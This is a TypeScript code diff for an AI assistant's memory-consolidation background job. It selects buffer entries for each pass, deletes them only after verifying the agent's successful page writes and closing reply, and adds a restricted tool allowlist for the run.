const overflowTimestamp = entryTimestamps[maxEntries];
|
|
@@ -438,6 +469,22 @@ export async function memoryV2ConsolidateJob(
|
|
|
438
469
|
}
|
|
439
470
|
}
|
|
440
471
|
|
|
472
|
+
// The pass: the snapshot's leading entries up to the first one stamped
|
|
473
|
+
// with the cutoff minute, rendered verbatim into the prompt and removed
|
|
474
|
+
// by this job once the run has filed them.
|
|
475
|
+
const pass = selectPassEntries(
|
|
476
|
+
snapshot,
|
|
477
|
+
cutoff,
|
|
478
|
+
await snapshotIsComplete(bufferPath, bufferContent),
|
|
479
|
+
);
|
|
480
|
+
if (pass.length === 0) {
|
|
481
|
+
log.info(
|
|
482
|
+
{ cutoff, bufferEntries: snapshot.length },
|
|
483
|
+
"consolidation skipped: no buffer entry is eligible this pass (all stamped at or after the cutoff, or still being appended)",
|
|
484
|
+
);
|
|
485
|
+
return { kind: "nothing_eligible", cutoff, deferredEntries };
|
|
486
|
+
}
|
|
487
|
+
|
|
441
488
|
// Step 4: hand off to the centralized background-job runner. The runner
|
|
442
489
|
// bootstraps the conversation, drives `processMessage`, applies the
|
|
443
490
|
// timeout policy, classifies errors, and — because we opt out via
|
|
@@ -493,6 +540,7 @@ export async function memoryV2ConsolidateJob(
|
|
|
493
540
|
{
|
|
494
541
|
includeCorePagesSection: memoryV3Live,
|
|
495
542
|
articleShape: memoryV3Live ? "v3" : "v2",
|
|
543
|
+
bufferEntries: joinBufferEntries(pass),
|
|
496
544
|
parseFailures,
|
|
497
545
|
danglingLinks,
|
|
498
546
|
overlongSections,
|
|
@@ -544,17 +592,76 @@ export async function memoryV2ConsolidateJob(
|
|
|
544
592
|
: { kind: "run_failed" };
|
|
545
593
|
}
|
|
546
594
|
|
|
547
|
-
// Step 5:
|
|
548
|
-
// the background run completed
|
|
549
|
-
//
|
|
550
|
-
//
|
|
551
|
-
//
|
|
552
|
-
//
|
|
553
|
-
//
|
|
554
|
-
//
|
|
555
|
-
//
|
|
556
|
-
|
|
557
|
-
|
|
595
|
+
// Step 5: consume the pass's entries, gated on evidence. `runResult.ok`
|
|
596
|
+
// only means the background run completed. Before removing anything the
|
|
597
|
+
// job requires two things of the run's persisted messages: at least one
|
|
598
|
+
// page-writing tool call whose result is not an error (a run that
|
|
599
|
+
// answered in prose, or whose writes all failed, filed nothing), and a
|
|
600
|
+
// closing reply in the agent's own words as the run's final row, with
|
|
601
|
+
// no tool call on it (a run that wrote a page, say a repair-step fix,
|
|
602
|
+
// and then stopped mid-work has not filed its pass, and narration on
|
|
603
|
+
// the row that called the tool is not a conclusion; the prompt mandates
|
|
604
|
+
// the pass summary, so its absence is the run ending early). Either missing, and
|
|
605
|
+
// consuming would delete entries unfiled. A skipped run never invoked
|
|
606
|
+
// the agent, so it consumes nothing either. With both, the consume
|
|
607
|
+
// removes exactly the pass's entries and leaves every other entry
|
|
608
|
+
// (deferred past the cap, or appended during the run) in place.
|
|
609
|
+
let consumed: ConsumeBufferEntriesResult | null = null;
|
|
610
|
+
let evidence: RunEvidence = {
|
|
611
|
+
durableWrites: 0,
|
|
612
|
+
shellCalls: 0,
|
|
613
|
+
concluded: false,
|
|
614
|
+
};
|
|
615
|
+
if (runResult.skipReason === undefined) {
|
|
616
|
+
evidence = await readRunEvidence(runResult.conversationId);
|
|
617
|
+
if (evidence.durableWrites > 0 && evidence.concluded) {
|
|
618
|
+
try {
|
|
619
|
+
consumed = await consumeBufferEntries(bufferPath, pass);
|
|
620
|
+
} catch (err) {
|
|
621
|
+
// Thrown only before the rename commits, so the buffer still holds
|
|
622
|
+
// the pass.
|
|
623
|
+
log.error(
|
|
624
|
+
{ err, conversationId: runResult.conversationId },
|
|
625
|
+
"consolidation: buffer consume failed before rewriting; entries left for the next pass",
|
|
626
|
+
);
|
|
627
|
+
}
|
|
628
|
+
}
|
|
629
|
+
}
|
|
630
|
+
const noProgress = consumed === null;
|
|
631
|
+
if (consumed !== null && consumed.lateAppendDrainFailed) {
|
|
632
|
+
log.error(
|
|
633
|
+
{ conversationId: runResult.conversationId },
|
|
634
|
+
"consolidation: the replaced buffer inode could not be read after the rewrite; any entry appended during it is in the daily archive only",
|
|
635
|
+
);
|
|
636
|
+
}
|
|
637
|
+
if (consumed !== null && consumed.unrecoveredLateAppendBytes > 0) {
|
|
638
|
+
// The pass is consumed (the rename committed) but bytes an appender
|
|
639
|
+
// landed on the replaced inode could not be copied back. Those
|
|
640
|
+
// entries are still in memory/archive/<date>.md, written by the same
|
|
641
|
+
// append that wrote them to the buffer.
|
|
642
|
+
log.error(
|
|
643
|
+
{
|
|
644
|
+
conversationId: runResult.conversationId,
|
|
645
|
+
unrecoveredLateAppendBytes: consumed.unrecoveredLateAppendBytes,
|
|
646
|
+
},
|
|
647
|
+
"consolidation: entries appended during the buffer rewrite could not be copied back into buffer.md; they remain in the daily archive only",
|
|
648
|
+
);
|
|
649
|
+
}
|
|
650
|
+
if (consumed !== null && consumed.alreadyAbsent > 0) {
|
|
651
|
+
// Only appenders are expected to touch the buffer during a run. An
|
|
652
|
+
// entry the job handed the run but cannot find afterwards was removed
|
|
653
|
+
// by something else, most likely a customized prompt that still
|
|
654
|
+
// rewrites `memory/buffer.md`; that rewrite carries the stale-read
|
|
655
|
+
// hazard this job exists to avoid.
|
|
656
|
+
log.warn(
|
|
657
|
+
{
|
|
658
|
+
conversationId: runResult.conversationId,
|
|
659
|
+
alreadyAbsent: consumed.alreadyAbsent,
|
|
660
|
+
removed: consumed.removed,
|
|
661
|
+
},
|
|
662
|
+
"consolidation: some of this pass's entries were already gone from buffer.md; the agent must not rewrite the buffer",
|
|
663
|
+
);
|
|
664
|
+
}
|
|
558
665
|
|
|
559
666
|
// The agent's file-tool writes invalidate the page index, so this read
|
|
560
667
|
// sees the post-run corpus.
|
|
@@ -581,10 +688,15 @@ export async function memoryV2ConsolidateJob(
|
|
|
581
688
|
{
|
|
582
689
|
conversationId: runResult.conversationId,
|
|
583
690
|
cutoff,
|
|
584
|
-
|
|
585
|
-
|
|
691
|
+
passEntries: pass.length,
|
|
692
|
+
durableWrites: evidence.durableWrites,
|
|
693
|
+
shellCalls: evidence.shellCalls,
|
|
694
|
+
concluded: evidence.concluded,
|
|
695
|
+
skipReason: runResult.skipReason,
|
|
586
696
|
},
|
|
587
|
-
|
|
697
|
+
evidence.durableWrites === 0 && evidence.shellCalls > 0
|
|
698
|
+
? "consolidation run wrote no pages through the file tools (it used the shell); buffer left intact, follow-ups skipped"
|
|
699
|
+
: "consolidation run completed without a verified page write and a closing reply; buffer left intact, follow-ups skipped",
|
|
588
700
|
);
|
|
589
701
|
return {
|
|
590
702
|
kind: "invoked",
|
|
@@ -592,6 +704,7 @@ export async function memoryV2ConsolidateJob(
|
|
|
592
704
|
cutoff,
|
|
593
705
|
deferredEntries,
|
|
594
706
|
followUpJobIds: [],
|
|
707
|
+
consumedEntries: 0,
|
|
595
708
|
noProgress: true,
|
|
596
709
|
danglingLinks: danglingAfter,
|
|
597
710
|
};
|
|
@@ -633,6 +746,7 @@ export async function memoryV2ConsolidateJob(
|
|
|
633
746
|
{
|
|
634
747
|
conversationId: runResult.conversationId,
|
|
635
748
|
cutoff,
|
|
749
|
+
consumedEntries: pass.length,
|
|
636
750
|
deferredEntries,
|
|
637
751
|
followUpJobIds,
|
|
638
752
|
},
|
|
@@ -644,6 +758,7 @@ export async function memoryV2ConsolidateJob(
|
|
|
644
758
|
cutoff,
|
|
645
759
|
deferredEntries,
|
|
646
760
|
followUpJobIds,
|
|
761
|
+
consumedEntries: pass.length,
|
|
647
762
|
noProgress: false,
|
|
648
763
|
danglingLinks: danglingAfter,
|
|
649
764
|
};
|
|
@@ -702,20 +817,126 @@ function readBufferContent(bufferPath: string): string {
|
|
|
702
817
|
}
|
|
703
818
|
|
|
704
819
|
/**
|
|
705
|
-
*
|
|
706
|
-
*
|
|
707
|
-
*
|
|
708
|
-
*
|
|
709
|
-
*
|
|
820
|
+
* The entries this pass files: the snapshot's leading entries up to (not
|
|
821
|
+
* including) the first one stamped with the cutoff minute. In an append-only
|
|
822
|
+
* buffer that is exactly the set the prompt describes as "timestamp <
|
|
823
|
+
* cutoff", but chosen by position, so the job and the prompt name the same
|
|
824
|
+
* entries whatever the model makes of the dates. A same-minute pull-back
|
|
825
|
+
* (the chunking cutoff) works the same way: entries sharing the over-cap
|
|
826
|
+
* entry's minute are deferred with it.
|
|
710
827
|
*
|
|
711
|
-
*
|
|
712
|
-
*
|
|
713
|
-
*
|
|
714
|
-
*
|
|
715
|
-
*
|
|
828
|
+
* Prose before the first entry opening (a hand-written buffer) is filed too,
|
|
829
|
+
* when it holds any text; otherwise the buffer could never drain.
|
|
830
|
+
*
|
|
831
|
+
* A snapshot that caught an append mid-write (`snapshotIsComplete` false,
|
|
832
|
+
* see {@link snapshotIsComplete}) has an incomplete last entry, which is
|
|
833
|
+
* left for the next pass rather than filed and removed in a truncated form.
|
|
834
|
+
*/
|
|
835
|
+
function selectPassEntries(
|
|
836
|
+
snapshot: readonly BufferEntryLines[],
|
|
837
|
+
cutoff: string,
|
|
838
|
+
snapshotIsComplete: boolean,
|
|
839
|
+
): BufferEntryLines[] {
|
|
840
|
+
const pass: BufferEntryLines[] = [];
|
|
841
|
+
for (const entry of snapshot) {
|
|
842
|
+
if (entry.start === null) {
|
|
843
|
+
if (entry.lines.some((line) => line.trim().length > 0)) {
|
|
844
|
+
pass.push(entry);
|
|
845
|
+
}
|
|
846
|
+
continue;
|
|
847
|
+
}
|
|
848
|
+
if (entry.start.timestamp === cutoff) {
|
|
849
|
+
break;
|
|
850
|
+
}
|
|
851
|
+
pass.push(entry);
|
|
852
|
+
}
|
|
853
|
+
const last = pass[pass.length - 1];
|
|
854
|
+
if (
|
|
855
|
+
last !== undefined &&
|
|
856
|
+
last === snapshot[snapshot.length - 1] &&
|
|
857
|
+
!snapshotIsComplete
|
|
858
|
+
) {
|
|
859
|
+
pass.pop();
|
|
860
|
+
}
|
|
861
|
+
return pass;
|
|
862
|
+
}
|
|
863
|
+
|
|
864
|
+
/**
|
|
865
|
+
* How long an unterminated snapshot is given to settle before it is read
|
|
866
|
+
* again. An in-flight append completes within microseconds; a re-read that
|
|
867
|
+
* still returns the same bytes after this is a stable file.
|
|
868
|
+
*/
|
|
869
|
+
const UNTERMINATED_SNAPSHOT_SETTLE_MS = 100;
|
|
870
|
+
|
|
871
|
+
/**
|
|
872
|
+
* Whether the snapshot ends on a complete entry. An append is one write
|
|
873
|
+
* ending in a newline, so content that ends in one is complete. Content
|
|
874
|
+
* that does not is either an append caught mid-write or a buffer whose last
|
|
875
|
+
* rewrite left no terminator (an agent's `file_write` under an older prompt,
|
|
876
|
+
* a hand edit): a persisted shape that must keep working. The two are told
|
|
877
|
+
* apart by time: after a short settle the file is read again, and identical
|
|
878
|
+
* bytes mean nothing was mid-write, so the last entry is complete and may be
|
|
879
|
+
* filed. Grown or changed bytes mean an append was in flight, and the
|
|
880
|
+
* snapshot's last entry waits for the next pass. Consuming rewrites the
|
|
881
|
+
* buffer newline-terminated, so the unterminated shape does not recur.
|
|
716
882
|
*/
|
|
717
|
-
function
|
|
718
|
-
|
|
883
|
+
async function snapshotIsComplete(
|
|
884
|
+
bufferPath: string,
|
|
885
|
+
content: string,
|
|
886
|
+
): Promise<boolean> {
|
|
887
|
+
if (content.endsWith("\n")) {
|
|
888
|
+
return true;
|
|
889
|
+
}
|
|
890
|
+
await new Promise((resolve) =>
|
|
891
|
+
setTimeout(resolve, UNTERMINATED_SNAPSHOT_SETTLE_MS),
|
|
892
|
+
);
|
|
893
|
+
return readBufferContent(bufferPath) === content;
|
|
894
|
+
}
|
|
895
|
+
|
|
896
|
+
interface RunEvidence {
|
|
897
|
+
/** Page-writing tool calls whose execution verifiably succeeded. */
|
|
898
|
+
durableWrites: number;
|
|
899
|
+
/**
|
|
900
|
+
* Shell calls the run made, successful or not. Never evidence of filing
|
|
901
|
+
* (a shell call carries no record of what it did); reported so a run
|
|
902
|
+
* that wrote its pages through the shell is diagnosable from the log.
|
|
903
|
+
*/
|
|
904
|
+
shellCalls: number;
|
|
905
|
+
/**
|
|
906
|
+
* The run's final row is an assistant reply in its own words, with no
|
|
907
|
+
* tool call on it: the shape of a run the model ended itself.
|
|
908
|
+
*/
|
|
909
|
+
concluded: boolean;
|
|
910
|
+
}
|
|
911
|
+
|
|
912
|
+
/**
|
|
913
|
+
* What the run's conversation proves it did: page-writing tool calls with
|
|
914
|
+
* a matching non-error `tool_result`, and whether the run ended by replying
|
|
915
|
+
* (the pass summary) rather than stopping mid-tool-loop. A consolidation
|
|
916
|
+
* conversation is bootstrapped fresh per run, so every message in it is
|
|
917
|
+
* the run's own. A load failure reports nothing: the consume gate then
|
|
918
|
+
* fails closed and the buffer waits for the next pass.
|
|
919
|
+
*/
|
|
920
|
+
async function readRunEvidence(conversationId: string): Promise<RunEvidence> {
|
|
921
|
+
let messages: Awaited<ReturnType<typeof getMessages>>;
|
|
922
|
+
try {
|
|
923
|
+
messages = await getMessages(conversationId);
|
|
924
|
+
} catch (err) {
|
|
925
|
+
log.warn(
|
|
926
|
+
{ err, conversationId },
|
|
927
|
+
"consolidation: failed to load the run's messages; treating the run as having filed nothing",
|
|
928
|
+
);
|
|
929
|
+
return { durableWrites: 0, shellCalls: 0, concluded: false };
|
|
930
|
+
}
|
|
931
|
+
return {
|
|
932
|
+
durableWrites: countDurableToolUses(
|
|
933
|
+
messages,
|
|
934
|
+
CONSOLIDATION_DURABLE_TOOLS,
|
|
935
|
+
collectSuccessfulToolResultIds(messages),
|
|
936
|
+
),
|
|
937
|
+
shellCalls: countDurableToolUses(messages, SHELL_TOOLS, null),
|
|
938
|
+
concluded: endsWithTextReply(messages),
|
|
939
|
+
};
|
|
719
940
|
}
|
|
720
941
|
|
|
721
942
|
/**
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tool surface the memory consolidation run is wire-scoped to.
|
|
3
|
+
*
|
|
4
|
+
* Consolidation is a local memory-file reorganization pass: it reads
|
|
5
|
+
* `buffer.md` and the existing pages, writes and edits concept pages, rewrites
|
|
6
|
+
* recent/essentials/threads, and trims the buffer.
|
|
7
|
+
*
|
|
8
|
+
* `bash` carries the corpus-wide inspection the pass leans on: slug and title
|
|
9
|
+
* greps before spawning a page, status-marker counts, size checks against the
|
|
10
|
+
* cap-bound files, frontmatter peeks across a batch of slugs. The run is
|
|
11
|
+
* guardian-trust and non-interactive, so the permission checker's autonomous
|
|
12
|
+
* threshold, not this list, decides which shell commands execute unattended.
|
|
13
|
+
*
|
|
14
|
+
* `delete_memory_page` retires merged, renamed, or dead pages. Unattended `rm`
|
|
15
|
+
* is denied unless the autonomous threshold is Full access, so this slug-scoped
|
|
16
|
+
* tool is the delete path everywhere else. It is allowlist-only (see
|
|
17
|
+
* `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here is what surfaces it.
|
|
18
|
+
*
|
|
19
|
+
* Network egress and host-proxy tools (`web_fetch`, `web_search`,
|
|
20
|
+
* `network_request`, `host_*`) are excluded: the pass has no use for them.
|
|
21
|
+
*
|
|
22
|
+
* Every name here must resolve onto the wire for a background conversation.
|
|
23
|
+
* `SUBAGENT_ONLY_TOOL_NAMES` (`file_list`, `code_search`) are filtered off
|
|
24
|
+
* before this allowlist applies, so listing one is a silent no-op. The wire
|
|
25
|
+
* resolution is asserted in `daemon/__tests__/conversation-tool-setup.test.ts`.
|
|
26
|
+
*/
|
|
27
|
+
export const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
|
|
28
|
+
"file_read",
|
|
29
|
+
"file_write",
|
|
30
|
+
"file_edit",
|
|
31
|
+
"bash",
|
|
32
|
+
"delete_memory_page",
|
|
33
|
+
"recall",
|
|
34
|
+
];
|
|
@@ -19,7 +19,8 @@
|
|
|
19
19
|
* concept pages or seeded skill entries change.
|
|
20
20
|
*/
|
|
21
21
|
|
|
22
|
-
import { safeStringSlice } from "
|
|
22
|
+
import { safeStringSlice } from "@vellumai/plugin-api";
|
|
23
|
+
|
|
23
24
|
import { getLogger } from "../logging.js";
|
|
24
25
|
import {
|
|
25
26
|
CLI_COMMAND_SLUG_PREFIX,
|